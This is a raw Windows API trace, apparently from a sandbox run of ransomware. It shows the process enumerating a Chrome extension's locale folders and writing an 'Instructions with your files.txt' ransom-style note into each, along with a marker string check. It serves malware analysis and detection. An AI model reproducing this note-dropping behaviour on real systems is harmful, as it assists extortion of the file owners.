[0129.354] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.354] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.355] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.355] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.355] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.355] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.356] CloseHandle (hObject=0x134) returned 1
[0129.356] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.356] GetProcessHeap () returned 0x810000
[0129.356] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.356] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
[0129.356] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr") returned 143
[0129.356] GetProcessHeap () returned 0x810000
[0129.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.356] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*") returned 145
[0129.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.356] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\.") returned 145
[0129.356] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.356] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\..") returned 146
[0129.356] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.356] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 157
[0129.356] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.356] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.356] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\Instructions with your files.txt") returned 176
[0129.356] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.357] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.358] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.358] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.358] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.358] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.358] CloseHandle (hObject=0x134) returned 1
[0129.358] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.358] GetProcessHeap () returned 0x810000
[0129.358] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.358] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
[0129.358] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu") returned 143
[0129.358] GetProcessHeap () returned 0x810000
[0129.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.358] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*") returned 145
[0129.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.359] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\.") returned 145
[0129.359] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.359] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\..") returned 146
[0129.359] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.359] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 157
[0129.359] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.359] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.359] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\Instructions with your files.txt") returned 176
[0129.360] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.360] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.361] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.361] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.361] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.361] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.361] CloseHandle (hObject=0x134) returned 1
[0129.361] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.361] GetProcessHeap () returned 0x810000
[0129.361] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.361] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
[0129.361] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id") returned 143
[0129.361] GetProcessHeap () returned 0x810000
[0129.361] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.361] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*") returned 145
[0129.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.362] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\.") returned 145
[0129.362] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.362] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\..") returned 146
[0129.362] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.362] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 157
[0129.362] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.362] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.362] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\Instructions with your files.txt") returned 176
[0129.362] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.362] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.363] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.363] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.363] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.363] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.364] CloseHandle (hObject=0x134) returned 1
[0129.364] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.364] GetProcessHeap () returned 0x810000
[0129.364] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.364] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
[0129.364] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it") returned 143
[0129.364] GetProcessHeap () returned 0x810000
[0129.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.364] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*") returned 145
[0129.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
